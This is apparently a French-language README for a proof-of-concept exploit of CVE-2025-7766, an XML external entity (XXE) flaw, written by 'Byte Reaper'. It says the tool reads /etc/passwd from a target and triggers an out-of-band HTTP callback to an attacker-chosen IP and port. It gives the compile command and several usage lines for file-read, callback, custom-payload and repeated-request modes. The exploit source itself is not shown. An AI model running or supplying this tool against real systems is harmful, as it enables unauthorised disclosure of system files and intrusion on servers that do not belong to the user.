CVE-2025-7766 PoC Exploit

PoC pour l'exploitation d'une vulnérabilité d'entité externe XML dans CVE-2025-7766. Démontre la lecture de fichier (/etc/passwd) et les rappels HTTP hors bande.

Auteur : Byte Reaper

CVE : CVE-2025-7766

Vulnérabilité : Exécution de code à distance via une entité externe XML (XXE)

PoC pour l'exploitation de XXE dans CVE-2025-7766. Démontre :

• Lecture de /etc/passwd depuis la cible.
• Déclenchement d'une requête HTTP hors bande vers votre serveur.

Prérequis

• gcc
• libcurl
• bibliothèque argparse

Compilation

gcc -o exploit exploit.c argparse.c -lcurl

Utilisation

# Charge utile de lecture de fichier
./exploit -u http://cible/xml -i VOTRE_IP -p VOTRE_PORT

# Charge utile de requête hors bande
./exploit -u http://cible/xml -i VOTRE_IP -p VOTRE_PORT -r

# Charge utile personnalisée
./exploit -u http://cible/xml -i VOTRE_IP -p VOTRE_PORT -b '<VOTRE_XML_PERSONNALISÉ>'

# Répéter les requêtes 5 fois
./exploit -u http://cible/xml -i VOTRE_IP -p VOTRE_PORT -r -l 5

# Sortie verbeuse
./exploit -u http://cible/xml -i VOTRE_IP -p VOTRE_PORT -v